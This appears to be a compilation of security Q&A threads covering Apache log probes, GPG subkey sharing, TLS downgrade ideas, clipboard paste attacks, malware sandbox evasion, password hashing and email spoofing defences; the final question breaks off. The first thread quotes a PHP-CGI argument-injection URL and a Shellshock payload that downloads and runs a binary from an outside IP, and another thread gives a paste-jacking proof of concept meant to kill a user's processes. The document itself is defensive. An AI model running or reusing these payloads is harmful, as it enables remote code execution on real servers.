Odd requests from Apache logs I've been monitoring some weird activity in the access logs for my site and I've noticed a couple of weird attempts against the server. I'm wondering if anyone has seen these before. It's an Apache 2.4.6 server.

The first one that caught my attention was

  %63%67%69%2D%62%69%6E/%7
  0%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%
  64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69
  %6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74
  %69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65
  +%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F
  %69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D
  %30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76
  %3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
  %2F%2F%69%6E%70%75%74+%2D%6E

This is an encoded URL which decodes to

  cgi-bin/%7
  0hp?-d allow_url_include=on -%
  64 safe_mode=off -d suhosin.si
  mulation=on -d disable_funct
  ions="" -d open_basedir=none
   -d auto_prepend_file=php://
  input -d cgi.force_redirect=
  0 -d cgi.redirect_status_env
  =0 -d auto_prepend_file=php:
  //input -n

I'm not an experienced admin so I'm not entirely sure what this is attempting to do. It looks like it's trying to inject a CGI script in the /var/www/cgi-bin which redirects to somewhere, can anyone tell me what this is attempting to do?

The other one I noticed looks like a Shellshock attempt:

  "() { :;
   }; /bin/bash -c \"rm -rf /tmp/;echo wget http://121.12.173.173:81/9521 -O /tmp
  /China.Z-etryX >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777
   /tmp/China.Z-etryX >> /tmp/Run.sh;echo /tmp/China.Z-etryX >> /tmp/Run.sh;echo r
  m -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }
  ; /bin/bash -c \"rm -rf /tmp/;echo wget http://121.12.173.173:81/9521 -O /tmp/C
  hina.Z-etryX >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /
  tmp/China.Z-etryX >> /tmp/Run.sh;echo /tmp/China.Z-etryX >> /tmp/Run.sh;echo rm
  -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"

My final question is: is there any way to completely disable the CGI module for Apache without re-compiling it from source? From my own reading I've found there is a flag that can be set at compilation time to disable this module completely. The server is hosting one static webpage and that's it, do I really need the bare minimum configuration? Any advice?

Look in your httpd.conf file. Find the line that loads the mod_cgi module, and comment it out. Restart the Apache service. Test to confirm that CGI execution is disabled.


Importing secret subkey to a Key We are a group and each member have an independent PGPKey, but we want to read messages encrypted for the group.

I create a pair with an only one key only for encryption, but I don't want to share this key with all members, against, I want toshare the encyption subkey to allow each member to decrypt messages encrypted for the group.

The problem is; I don't find how to import a secret subkey to a key with gpg (GNUPg).

Is it possible?

I think you could do it that way:

Generate your key pair, or use your existing key:

pub   rsa2048/E777DCBD 2017-06-16 [S]
Key fingerprint = 27F6 F30D EA60 B720 85EF  AF89 358C 5737 E777 DCBD
uid         [ultimate] Testing
sub   rsa2048/05662D7C 2017-06-16 []

Next, use gpg --edit keyid on that key and add the signature, etc. subkeys that you want using the addkey keyword and then save it to store this newly created subkey on the keyring. (Or only use the default encryption subkey, and do nothing...) For the sake of the example, I've added encryption, sign and auth subkeys (using the gpg --expert --edit keyid command to set my own capabilities on the subkeys) to my master key:

sec  rsa2048/E777DCBD
     created: 2017-06-16  expires: never       usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa2048/05662D7C
     created: 2017-06-16  expires: never       usage: E
ssb  rsa2048/8D9F7D0A
     created: 2017-06-16  expires: never       usage: E
ssb  rsa2048/4852B177
     created: 2017-06-16  expires: never       usage: A
ssb  rsa2048/105B24A3
     created: 2017-06-16  expires: never       usage: S
[ultimate] (1). Testing

Note: when you have two encryption subkeys like here, the most recent one is used by default.
Create a backup of the whole key (secret and public) using gpg --export -a keyid > commonpubkey.asc and gpg --export-secret-key -a  keyid > masterseckey.asc. There you should take the usual PGP cautions and copy those files onto a secure offline storage.
It is also important now to backup your whole keyrings, because the next step will mess it up.
So, now you only want to take one of the subkeys, so you can: gpg --edit keyid and delete all the subkeys that you don't want to share (to do so, you have to first mark them with key n and delete them with delkey) and save:

sec  rsa2048/E777DCBD
     created: 2017-06-16  expires: never       usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa2048/8D9F7D0A
     created: 2017-06-16  expires: never       usage: E
[ultimate] (1). Testing

Finally the magic gpg --export-secret-subkeys -a keyid > sharedseckey.asc will allow you to export only the remaining subkey, without any other keymaterial from the primary key!

So you can finally restore your keyrings (you'll need to restore both the secret and public one, because when you delete a subkey, you also delete your public subkey), and you're back to owning the whole key, with all subkeys and proper keymaterial.

The next step is for your colleagues:

On their machine, they need to do a gpg --import commonpubkey.asc commonseckey.asc (with those two files you've previously generated).

Et voilà, you're all ready to use gpg.

To verify that your colleagues really don't have any secret keys you don't want them to have, have a look at the output of gpg --list-secret-keys, you'll see that this key without the primary secret key is marked with a '#':

sec#  rsa2048/E777DCBD 2017-06-16 [SC]
uid         [ unknown] Testing
ssb   rsa2048/05662D7C 2017-06-16 [E]
ssb   rsa2048/8D9F7D0A 2017-06-16 [E]
ssb   rsa2048/4852B177 2017-06-16 [A]
ssb   rsa2048/105B24A3 2017-06-16 [S]

They also won't be able to sign or authenticate since they won't have those subkeys, but if you sign something with your key, the common pubkey
will still be able to verify it.

So in the end, they will not import the subkey, but the whole key, but without primary keymaterial, with only the keymaterial of the encryption subkey you'll have left there. But this is the way to go instead of trying to add this common encryption subkey to their own key, since it would then mean that when you encrypt something for them you'll have encrypted it for the whole group, since the newest encryption subkey of a public key is used by default to encrypt by gpg...

So you really don't want them to import the subkey, you want them to import the secret key, with the minimum of keymaterial.


Wordpress site redirects to different site when using https. Have I been hacked? I own my domain and blog infrequently, when I try to access it over https I'm first shown a warning which says that the certificate isn't trusted. This is expected as I never configured SSL for my blog, when I proceed it takes me to a random site. I've attached the screenshots as people may be hesitant to click the links.

My real blog looks like this -

And over https it looks like this -  -

I'm baffled, does someone know how this can possibly happen. Has my site been hacked?
How can I reclaim my domain?

As there are other sites on the same server as your website  showing the same behaviour (like for example: http://annihilatethehero.com/ vs. https://annihilatethehero.com/) I assume you have your webspace from a shitty reseller who configured only one ssl-page on the server: The Page of the Shanto-Mariam University of Creative Technology

So any connection over HTTPS will lead to this page and the server doesn't even care for the domain in the request.

So I don't think your site or your domain has been hacked, it is just a misconfigured server. You can also see the page by visiting only the IP of the server with https: https://68.168.212.202/

Another sign for bad configuration may be the page you see when visiting the IP over http: http://68.168.212.202/cgi-sys/defaultwebpage.cgi

  If you are the owner of this website, please contact your hosting provider: webmaster@68.168.212.202


How to create non-generic security requirements for an idea phase? Our manager often asks us for a quick understanding of what the risks will be  based on some idea that the department has been working on during the ideation phase (the business requirements are generally written but no implantation done).

These teams are asking for security risks and threats to see if the idea even worth going through or how much of security will a barrier when implementing the solution or idea.

How to create non-generic security requirements for an idea phase?

This sounds like a great application for threat modeling as part of the design process. If you’re unfamiliar, threat modeling is a technique involving the creation of threat landscapes, where a product/service/system is analyzed to find potential risks. Fundamentally, threat models are simply conceptual decompositions addressing potential threats, so they can really take any format. It’s common, though, to build visual diagrams of threat models to illustrate, particularly using a specific unified design scheme. Microsoft has a popular threat modeling tool for the visual task, and OWASP has a project for an OSS threat model diagramming tool as well. Good luck!


Any MITM tool for forcing weak SSL cipher suite? Let's say I'm trying to reverse engineering communctions between an Android app and a web server uing HTTPS.

At beginning, I tried to do MITM using webmitm and a fake cert. But the app failed to start because the fake cert used by webmitm is not trusted by the app.(Let's say the app has its own way to decide what cert it trusts and I cannot import the fake cert to Android as trusted cert)

So I come to another approach. I noticed that both the app and web server support weak ciphers(e.g. TLS_RSA_EXPORT_WITH_RC4_40_MD5 ). So I'm thinking, instead of using a fake cert as a bridge, is there any mitm tool which only change the Client Hello packet to enforce weak ciphers, and forward the server's original cert without decryption or  encrypting anything in the middle.

In another word, when the app sends "Hello Webserver, I support the following cipher suites: XXX YYY ZZZ. Please choose one your support" , the mitm tool intercepts this packet, and change it to "Hello Webserver, I only support TLS_RSA_EXPORT_WITH_RC4_40_MD5" and forward it to the web server. Since both of them suppor this cipher suite, they are going to use this for the rest of the communication. And the mitm tool just forward everything between them, and record all the packets. And then  I try to decrypt the recorded packets offline.

Any idea?

What you are trying to do will be... difficult. The main point is that at the end of the handshake, client and server send each other Finished messages, under the protection of the just-negotiated algorithms and keys; and the contents of these messages are hash values computed over all the previous handshake messages, including the ClientHello and ServerHello. What this amounts to is that if the client and the server do not see the same ClientHello (because you altered it in transit), then the Finished message contents will not match and the handshake will fail.

In order to successfully alter the ClientHello, then you must break the encryption right away, and not offline: you have to recover the encryption keys at the end of the handshake and before forwarding the Finished messages, so that you may adjust the contents.

40-bit encryption is within the realm of the technologically feasible. A first problem is that with export cipher suite, the 40-bit key is only an intermediate key; the final key is expanded to 128 bits. Brute force is still feasible, but precomputated tables (rainbow tables...) are not. A bigger issue is that since you must adjust the contents of the Finished messages, you must not only break the encryption keys, but also the MAC keys -- and these ones are big (128 bits).

Your only remaining option, then, is to break the RSA key used by the server. Theoretically, with TLS_RSA_EXPORT_WITH_RC4_40_MD5, the server's public key should have size 512 bits at most. A 512-bit RSA Key is breakable, but that's still quite an endeavour for an amateur. It has been reported that a single desktop PC can achieve it in two months; more recently, some guy factored a 512-bit RSA key for 75 dollars in three days (75 dollars worth of rented CPU). If you try yourself a connection to the server with a client (e.g. OpenSSL's command-line tool: openssl s_client) which claims to support only TLS_RSA_EXPORT_WITH_RC4_40_MD5, you will see the certificate sent by the server. If the server's public key is 512-bit only, then you can envision to break it. Note, though, that it is entirely possible that the server does not honour the restriction to 512-bit keys for "export ciphers" (since the said export regulations have been lifted more than a decade ago).

If you can break the server's RSA key, then you can impersonate the server, i.e. use the server's own certificate (necessarily valid in the eyes of the client) for your Man-in-the-Middle attack. If you cannot, and there is no way for you to build a fake certificate that the client will accept, then I don't see any way to achieve what you want to do.


Confidentiality without Encryption - A way to circumvent Internet censorship Nowadays we see that countries like China and Iran detect and block all encrypted connections as a way to prevent their citizens from communicating over the Internet freely. Although encryption provides the highest level of data protection, still we can't hide the fact that the communication is encrypted due to the randomness introduced by the encryption. Rivest wrote a paper in 1996 titled "Chaffing and Winnowing: Confidentiality without Encryption". The basic idea is that Alice and Bob share an encryption key for MAC not encryption. When Alice construct a packet, a MAC is calculated on the packet and a secret key. The MAC is appended to the packet and is send to Bob. Communication is in cleartext so anyone observing the channel can sniff the data. Now if another stream of data from two other persons (mentioned as David and Elien in the paper) is mixed with the stream of Alice and Bob, only Alice and Bob can recover their own packets because only these two entities know the MAC key. The same goes for the other parties David and Elien.

My question is, is their any practical implementation of the above scheme because reading the paper, it is clear that if sufficiently large streams are multiplexed together, it would be impossible for anyone to recover the exact packets of a stream without knowning the MAC key and hence for any government it would be impossible to block any network traffic if a large number of volunteers join and multiplex this theoritical network.

You don't actually need other users for this to work, it just makes it more reasonable.  You can perform chaffing by merely creating pseudorandom packets and MACs and mixing them in with yours.

The problem with chaffing and winnowing is that each message must be so small as to convey no useful information to the attacker.  Otherwise, attackers can use redundant information and knowledge of formats and protocols to assist in rebuilding the original message.  Compression prior to chaffing would probably help some, but I'm not sure to what degree.

I'm not aware of any networks like Tor or Mix masters using Chaffing and Winnowing.  There is an implementation in PyCrypto, among others.


What attacks are prevented using Session Timeout or Expiry? OWASP recommends setting session timeouts to minimal value possible, to minimize the time an attacker has to hijack the session:

Session timeout define action window time for a user thus this window represents, in the same time, the delay in which an attacker can try to steal and use a existing user session...
For this, it's best practices to :

Set session timeout to the minimal value possible depending on the context of the application.
Avoid "infinite" session timeout.
Prefer declarative definition of the session timeout in order to apply global timeout for all application sessions.
Trace session creation/destroy in order to analyse creation trend and try to detect anormal session number creation (application profiling phase in a attack).

(Source)

The most popular methods of session hijacking attacks are session-fixation, packet sniffing, xss and compromise via malware, but these are all real-time attacks on the current session.
Once hijacked, the attacker will be able to prevent an idle timeout (via activity), and I would consider any successful session hijack a security breach anyway (unless you want to argue how much larger than zero seconds of access an attacker can have before it actually counts as an actual breach).
If the original method of getting the session token can be repeated, this seems to further limit the usefulness of a timeout -- a 5-minute window that can be repeated indefinitely is effectively not limited.
What real-world attack exists (even theoretically) where a session timeout would be an effective mitigation? Is session expiry really just a form of security-theater?

It prevents damage from a very common and low tech attack: device theft.

If my laptop walks away while i'm in the potty, I'd rather the thief have just 5 mins to flee and hide and start hacking than my online access being available to the more savy fence it's pawned to hours, days, or weeks later...


How can I protect myself from this kind of clipboard abuse? Clipboard abuse from websites

Many websites use JavaScript or CSS to stealthily insert or replace text in the user's clipboard whenever they copy information from the page. As far as I know this is mostly used for advertising purposes, but PoC for exploits have been demonstrated.

However I discovered that one does not even need JS or CSS to craft an exploit that has malicious effects when pasted in a terminal. Pasting hidden backspace characters can change the whole meaning of a shell command. Pasting in a term-based editor isn't safe either. Pasting Esc then :! can cause a running Vim instance to execute a shell command. Pasting ^X^C will quit Emacs and/or even cat. Pasting ^Z will stop mostly any term-based editor and return to the shell.

What makes it worse is that many trusted websites do not sanitise these non-printable characters. Twitter filters out Esc but not backspace. Pastebin.com doesn't appear to filter out anything. Neither does Stack Exchange, hence the following exploit (WARNING: malicious code, DO NOT copy and paste into a Unix terminal!!) that could very well be crafted into something worse and more likely to be pasted by a victim:

echo '.!: keS i3l ldKo -1+9 +2-1' > /tmp/lol
echo ':!. keS i3l ldKo -2+9 +7-1' >> /tmp/lol
echo '.:! keS i3l ldKo -3+9 +4-1' >> /tmp/lol
sleep 1
md5sum /tmp/lol

Edit: Raw backspaces are now filtered by Stack Exchange, so this PoC requires &# escapes. /Edit

Here is how Chrome renders it:

Firefox isn't fooled as easily, but still remains oblivious to the JS or CSS approach:

And when pasted into a terminal, it just kills all the user’s processes.

What to do?

What this basically tells me is that I should never, ever, copy anything from a web page and paste it into a terminal application. Well, great. My work environment is basically 1 web browser and 40 terminal windows/tabs. I copy and paste code snippets all the time.

Now, is there anyone who can protect me from my own bad habits (which, honestly, I don’t think are that bad)? Browser vendors? Terminal vendors? Clipboard system vendors? A third-party application maybe?

You might have guessed this, but never use the terminals pasting functionality to paste things into vim/emacs. It's like sending a batch of commands to the editor, that can do anything.

For these reasons, editors have their own copy-pasting functionality, which cannot be injected. For instance, in vim, you should use the + register to exchange data with the system clipboard ("+p for pasting).

Regarding the shell or other terminal applications: It has been established, that you must not paste unsafe data into your terminal.

There is a safe-paste plugin for zsh, which prevents code from actually running when pasted, but someone has already exploited it anyways.

Also, a similiar question (about accidental pasting) has been asked on apple.se. Most of the solutions might also work for you.

Update: In vim, if set mouse=a is used, pasting with the middle mouse button is safe. You can still paste with shift-Insert though.


Is Strong email validation really necessary? I am working on one of my projects where users don't need to register or login to post an advert, but they have to provide an email address so that a confirmation link can be sent to the provided address for further actions.

I was reading how poor email validation is useless and that invalid emails still can pass through most of the checking functionality. But what can go wrong if the user's email is not valid? If user's email address is //bob"the+powerfull/@mail.com and this returns as valid email through the validator, what's going to happen?

Why is a simple validation not enough? If I don't store the emails in a DB and I am just sending an email confirmation? Can't I just use preg_match or filter_var? If the user uses an email like I already mentioned, do you even want users like that to visit your page at all?

There's no need for excessive validation.

An invalid e-mail address is just an invalid e-mail address, and any decent SMTP software can handle this. In fact, if you're using a library like PHPMailer (which you should), it will check the address before it even passes it to the actual SMTP service.

Of course one might come up with a scenario where an entirely broken backend somehow chokes on invalid addresses. But then it might choke on specially crafted valid addresses as well. You'd rather fix the backend then try to work around the problem on the frontend.

Sure, basic validation makes sense, because it provides defense-in-depth, increases usability and reduces the amount of unnecessary work. But going beyond filter_var() isn't necessary. By the way, I'm not aware of any bugs in this function. It's more restrictive than required (e. g. comments aren't allowed), but it should indeed catch all invalid addresses.


Keeping the same key and iv for encrypting post content I want to encrypt and decrypt some wordpress posts. Only the content field i care about.

Is it safe to use the same key and iv for the process?

No.  To which degree it is unsafe, depends on many factors.  The reason that you choose to use an algorithm that provides you with the facility to use both an IV and a key should be a clue that they should not, in fact, be the same.   The entire purpose of an IV is, in fact, to allow you to safely reuse a single key, by changing the IV.

However, another nice property of an IV is that it need not be a secret.  Only the key must remain secret.  This is why IVs are often sent in the clear along with a ciphertext.  So, depending on the constraints of your system, hopefully you can find a way to use a unique IV which will help you to maintain the expected security properties of the algorithm and mode you choose.


Malware sandbox detection I started some reverse engineering exercises using Ollydbg, IDA Pro and other tools like Sysinternals suite, etc. Some of these exercises are about malware. I downloaded some different malware from the awesome github repository called The Zoo.

I created my own Windows based Virtualbox vm as a sandbox environment. The problem is some advanced malware is able to detect it is running in a sandboxed environment and it has a different behavior (is a good boy on the sandbox).

I tried software like Pafish to detect the virtual environment. It traced some features:

I tried to "tweak" some of them (reg keys) but they are restored on each reboot. Anyway I guess there are some of them impossible to hide. So let's assume that malware if is a little bit elaborated is always able to detect the sandboxed vm environment.

Is there any other better sandbox method to avoid malware sandbox detection?

Start with this guide -- https://github.com/hfiref0x/VBoxHardenedLoader -- it's incredibly up-to date in terms of making a VirtualBox guest VM more-difficult to detect, including techniques valid in 2017. This will definitely make your automated malware analysis initiatives and goals easier to achieve.

Consider tracing and debugging outside of the guest VM using VirtualKD, as seen in the three books 1) Windows Malware Analysis Essentials, 2) Gray Hat Hacking 4th Edition, and 3) Practical Reverse Engineering. You can sync views between Windbg and IDA Pro using qb-sync.

Prefer VirtualKD to other, userland-debugging techniques like Scylla, HideToolz, HideCon, et al. These are not as good because defeating VM detection is difficult enough. Defeating anti-debugging and associated bad behavior just takes too-much work in userland.

Pafish, like sems tool, is also a bit dated. I would suggest that you use -- https://github.com/LordNoteworthy/al-khaser -- to stress test your automated malware analysis with sandboxes such as guest VMs.

There is additional information about VM detection on these blogs:

https://byte-atlas.blogspot.com/2017/02/hardening-vbox-win7x64.html
https://bdavis-cybersecurity.blogspot.com


“Double hashing” with 2 different hash functions Is doing something like this

sha256(sha512(password+salt))

Less secure then just doing

sha256(password+salt)

I've heard it will increase collision chances.

I can think of 3 reasons to do this

A hacker is less likely to have a rainbow table for it
sha256 returns a shorter string then sha512 (save space in database)
It will take more time to compute the hash

This feels like re-inventing the wheel, and I doubt will achieve any tangible increase of security. The designers of those functions really considered all those aspects when creating those secure hash functions.

The addition of salt helps fight against rainbow table. Using two hash functions instead of one is useless as it still allows the computation of a rainbow table. Only a good random salt prevents and attacker from doing so.
If sha256 produces the right length for you, then use it. You're not gaining much by using sha512 beforehand. Your search space / entropy depends primarily on the password anyway.
This is also negligible. If you want to increase computation, you'd have to use a hash function like bcrypt that adds a computational workload. Hash functions are generally very fast.


Why do phishing e-mails use faked e-mail addresses instead of the real one? I read that you can write anything into the From: field of an e-mail.

If that is true, then why are phishing e-mails trying to trick me with look-a-like addresses like service@amaz0n.com instead of just using the actual service@amazon.com itself?

While one could create a mail with @amazon.com as SMTP envelope and/or From field of the mail header, the mail would likely be blocked since this domain is protected with Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting and Conformance (DMARC). This means that a spoofed mail would be detected as such and get rejected by many email servers. Contrary to this using another domain which is not protected this way or which is protected but controlled by the attacker is more successful.

To explain in short what these technologies do:

SPF
Checks if the sender IP address is allowed for the given SMTP enveloper (SMTP.MAILFROM). dig txt amazon.com shows that a SPF policy exists.
DKIM
The mail server signs the mail. The public key to verify the mail is retrieved using DNS. Amazon uses DKIM as can be seen from the DKIM-Signature fields in the mail header.
DMARC
Aligns the From field in the mail header (RFC822.From) with the domain of the DKIM signature for DKIM or the domain of the SMTP envelope for SPF. If an aligned and successful SPF/DKIM exists the DMARC policy matches. dig txt _dmarc.amazon.com shows that Amazon has a DMARC record with a policy of quarantine.

Neither SPF nor DKIM by their own help against spoofing of the From field in the mail header. Only the combination of at least one of these with DMARC protects against such header spoofing.


What is the purpose of slowing down the calculation of a password hash? Why would you choose to slow down the calculation of a password hash?

The calculation is intentionally slowed down to make it harder for an attacker to brute-force the user passwords in case the password database gets stolen for example.

Because a hash function only works "one way", to get the password for a hash you have to hash random passwords until you find one with a matching hash. (Rainbow tables provide a tradeoff though).

Using GPUs it is possible to brute-force billions of e.g. MD5 hashes per second.

That's why hash functions like bcrypt or scrypt were developed to mitigate this problem by running slowly and in case of scrypt requiring lots of memory so it's unfeasible to compute the hash using GPUs.

For your "normal" application this will most likely still be fast enough, because you're computing a single hash only, so the performance impact will be negligible.


SSH key-type, rsa, dsa, ecdsa, are there easy answers for which to choose when? As someone who knows little about cryptography, I wonder about the choice I make when creating ssh-keys.

ssh-keygen -t type, where type is either of dsa,rsa and ecdsa.

Googling can give some information about differences between the types, but not anything conclusive. So my question is, are there any "easy" answers for developers/system administrators with little cryptography knowledge, when to choose which key type?

I'm hoping for an answer in the style of "Use DSA for X and Y, RSA for Z, and ECDSA for everything else", but I also realise it's quite possible such simple answers are not available.

In practice, a RSA key will work everywhere. ECDSA support is newer, so some old client or server may have trouble with ECDSA keys.  A DSA key used to work everywhere, as per the SSH standard (RFC 4251 and subsequent), but this changed recently: OpenSSH 7.0 and higher no longer accept DSA keys by default.

ECDSA is computationally lighter, but you'll need a really small client or server (say 50 MHz embedded ARM processor) to notice the difference.

Right now, there is no security-related reason to prefer one type over any other, assuming large enough keys (2048 bits for RSA or DSA, 256 bits for ECDSA); key size is specified with the -b parameter. However, some ssh-keygen versions may reject DSA keys of size other than 1024 bits, which is currently unbroken, but arguably not as robust as could be wished for. So, if you indulge in some slight paranoia, you might prefer RSA.

To sum up, do ssh-keygen -t rsa -b 2048 and you will be happy.


Explanation of persistent full-chain kernel code execution My question

Meaning of persistent full-chain -- ?
What is the difference between OS-level CE and Kernel level CE?

How do OS-level CE and Kernel level CE differentiate in impacting a system?
Rarity and difficulty when it comes to exploitation

When is user-interaction needed to successfully exploit the CE?

Ok, lets first add some context:

  Lock screen bypass: $100,000
  User data extraction: $250,000
  Unauthorized access to high-value user data: $100,000
  Kernel code execution: $150,000
  CPU side-channel attack on high-value data: $250,000
  One-click unauthorized access to high-value user data: $150,000
  On-click kernel code execution: $250,000
  Zero-click radio to kernel with physical proximity network attack: $250,000
  Zero click access to high-value user data: $500,000
  Persistent full-chain kernel code execution attack without user interaction: $1,000,000
  Source

Lets first look at the difference between OS level and KERNEL level.
 At boot the first level (a.e the one with the most permissions) that will run is the Kernel, it is responsible for managing the system resources and scheduling when what program will run (it is the 'Master Control Program').

The OS is started by the Kernel, and is usually run mostly in USER space (a more limited environment that is more secure)

An Code Execution Exploit in the OS will most likely only have the permissions of the program that it exploited and can not go out of the scope of those permissions.
An Code Execution Exploit in the Kernel has access to the WHOLE SYSTEM. and is there for much more dangerous.
A Persistent Full chain Kernel code execution exploit is basically everything you need to start abusing the exploit to do anything on an device. (all security is broken basically).

The only option to restore security is whats called a 'Nuke from orbit', e.a. completely reinstall the device (and firmware) from a clean backup or destroy the device. but you can not before it up before everything is cleaned.

By User interaction we mean any action like clicking on a accept button or opening a file that a user needs to do to (start the) infection.


Is Two-way SSL sufficient for Multiple web servers communicating to each other? I have a fixed number of web servers.  Each web server represents a company and the users of the company talk to their assigned web server. I have this setup to decentralise the databases. So if one web server got hacked, the hacker only acquires a small amount of the total data. My clients are not willing to upload their information to one database on a single web server. The webservers run the django webframework for python. I am thinking of one-way SSL as the standard communication protocol between the users and the web servers. This seems to be the most logical choice as it provides a good way to identify the web servers of the companies for the users.

I also need to have communication between the web servers to exchange data. Here I am thinking of the Two-Way SSL protocol. I want to use the python 3 ssl module from one web server to communicate with django on another web server. The ssl module will provide a client certificate. Then django will act as server on the other web server and receive the client certificate. I want to use the following module for django to use the client certificate for authentication:
 https://github.com/kimvais/django-ssl-client-auth.

By this way I have a Two-Way SSL implementation which authenticates the web servers to each other.

I don't think VPN is a good solution because the web servers don't trust each other. That's why I don't want to go for OpenVPN or IPSec.

Is the Two-way SSL a good way or should I use something different like IPSec?

This sounds like a good plan. Some things to consider are:

Private keys need to be private.  That likely means a secure store with some kind of password/key to unlock the store. Frequently OS or framework support is easiest. HSMs will be a more secure alternative but I'm guessing that they would be overkill in your situation.
You need to provide authorization when one server is talking to another. Having a special user account for the remote servers frequently makes sense (and looks like what the library supports).
Adding firewall or other authentication rules to restrict IPs for cross server communication can add security.

It sounds like you're on the right track.


Security risks of symmetric encryption with compression for database data I would like to compress data before encrypting and storing it in a MySQL database to reduce especially bandwith requirements. In the future, the DB may be accessible via a web interface.

Various comments on the insecurity of compression plaintext prior to encryption, related to security breaches such as CRIME or BREACH, make me unsure of how to do this. Also, some argue that compression prior to encryption is actually good security practice. I realize that attacks such as CRIME or BREACH are specific scenarios, but I am concerned that my application might be too close (or eventually come too close) to a similar scenario where compression may pose a security risk (DB contents can be stolen, server compromised etc). I am also not enough of an expert to fully understand all the aspects, details and nuances of CRIME or BREACH.

After reading this discussion on the topic, with the recommendation to pad the plaintext with a random nonce before compression, I wonder if the following implementation (in PHP) will safely do the job:

    $plaintext = gzcompress ($plaintext . openssl_random_pseudo_bytes (64));
    $cipher_text = openssl_encrypt ($plaintext, 'aes-256-cbc', $key, 0, $iv);

Data integrity is ensured through an HMAC signing / verification procedure on the cipher text and key.

Is this a safe implementation?

Would there be any benefit in the nonce being of random length, and then adding the length information to the end of the padding in order to remove the padding after decryption? Or should the length of the nonce be in relation to the length of the plaintext (which would typically be at least 512 bytes)?

NOTE: as far as I can tell, my specific application and proposed solution do not seem answered by the possible duplicate suggested in the comments.

CRIME and BREACH depend on the attacker to control part of the data and then see how the length of the encrypted data changes. In the case of a web application the attacker can often control part of the data but has no knowledge how much space the data need after compression and encryption.

  DB contents can be stolen

To make these compression based attacks work the attacker has to be able to control the input to the database and then steal the database again and again after each change in the attacker controlled input. If the attacker is capable of stealing the database again and again then you might have other serious problems (like the attacker having direct access to the encryption key) and encryption will probably not help you anyways.

  server compromised etc

The server has to be compromised in a way that the attacker can control parts of input to the database and is able to read the encrypted input or at least determine it's size. This is a very specific scenario and in most cases the attacker will probably be deeper in the system and has access to the encryption keys anyway. Or that attacker is not that deep in the system and has no access to the encrypted data or the size of the encrypted data.

  ...I also do wonder whether my proposed solution will in fact protect the encrypted data against attacks related to compression

No it will not. Since you are adding a fixed number of random bytes at the beginning you will in effect just add a string which in most cases cannot be further compressed. And thus you just add a fixed length to the compressed content which does not make this kind of attacks any harder. A better way would be to add a random amount of data but this will also only slow down the attack.

For a more detailed discussion see Can BREACH be thwarted by simply adding a sort of "salt" into the page being compressed?.


How can an internet contest verify unique votes with only an email as an input parameter? For my computer security course we are brainstorming different ways to use attributes  for a unique user (that are readily available over a network) to prevent various mischievous activities. We've already investigated clustering email attributes to help reduce spam and possibly locate botnets, along with some other things. We were asked about validating unique votes for internet contests today, and I'm really stumped. Here are the conditions:

A website is running a week-long contest where users are allowed to vote once per day. There are no accounts or logins necessary to vote, all you need to supply is a valid email address. No verification emails are sent. What can you do to maintain the integrity of the contest?

-I was thinking about tracking IPs, but many computers can be a part of a single network. Is there anything more specific than an IP that is unique to each computer, that is also accessible over a network?

-Also, how can you stop people from entering multiple valid personal email addresses (for example, I have a spam email address that I give out at stores, a university email address, and then an old one I don't use, but they are all valid!).

-Could the contest be illegitimately won by someone who is IP spoofing?

I've seen some similar questions asked on here, but they all contain very complex procedures to minimize cheating. This one is very simple, and there are obviously many holes present.

I was thinking about tracking IPs, but many computers can be a part of a single network. Is there anything more specific than an IP that is unique to each computer, that is also accessible over a network?

The first thought that comes to mind will be making use of cookies to track the users. Of course, that can be easily removed. Perhaps something like the evercookie? Hmm.

  Also, how can you stop people from entering multiple valid personal email addresses (for example, I have a spam email address that I give out at stores, a university email address, and then an old one I don't use, but they are all valid!).

Without tying the email address to something else, this is quite impossible. A possible thought that comes to mind would be invalidating any email address submitted through a computer with a previously used IP address or cookie. This isn't impossible to evade but it might deter the less tech-savvy or determined cheats.

  Could the contest be illegitimately won by someone who is IP spoofing?

It depends on the scale of the contest, but most likely yes. Another possible scenario would be using botnets to game your contest.

What are some of the other possible measures you can take?

Does your contest involve a physical prize? If so, physical addresses might be quite a good way to weed out cheats. It's far easier to come up with 15 different valid email addresses than physical addresses eh?

How valuable is your prize? How far would the cheat be willing to go to game your contest? Obviously the measure you will want to implement depends on the value of the prize in question.

In your scenario,

  A website is running a week-long contest where users are allowed to vote once per day. There are no accounts or logins necessary to vote, all you need to supply is a valid email address.

It doesn't appear that there is much you can do to stop a determined cheat.


Should different versions of SSH give different VisualHostKeys? I am SSHing to a server via Cygwin's SSH and via Ubuntu 14.04's SSH.

Cygwin version: OpenSSH_7.1p2, OpenSSL 1.0.2e 3 Dec 2015
Ubuntu version: OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.4, OpenSSL 1.0.1f 6 Jan 2014

When I connect to a server on our network by IP I get the following:

On Cygwin:

Host key fingerprint is SHA256:0F6lOu97wCE/BSQZxLNzGNVsHfilI9EobN6nZEKPr+Y
+---[RSA 2048]----+
|       o+*oo.=.. |
|       .=.*oB o .|
|      . .OoB o o |
|       o=o* B =  |
|        S* B + . |
|         o= o    |
|          .+     |
|         .o .    |
|         oEo     |
+----[SHA256]-----+

On Ubuntu:

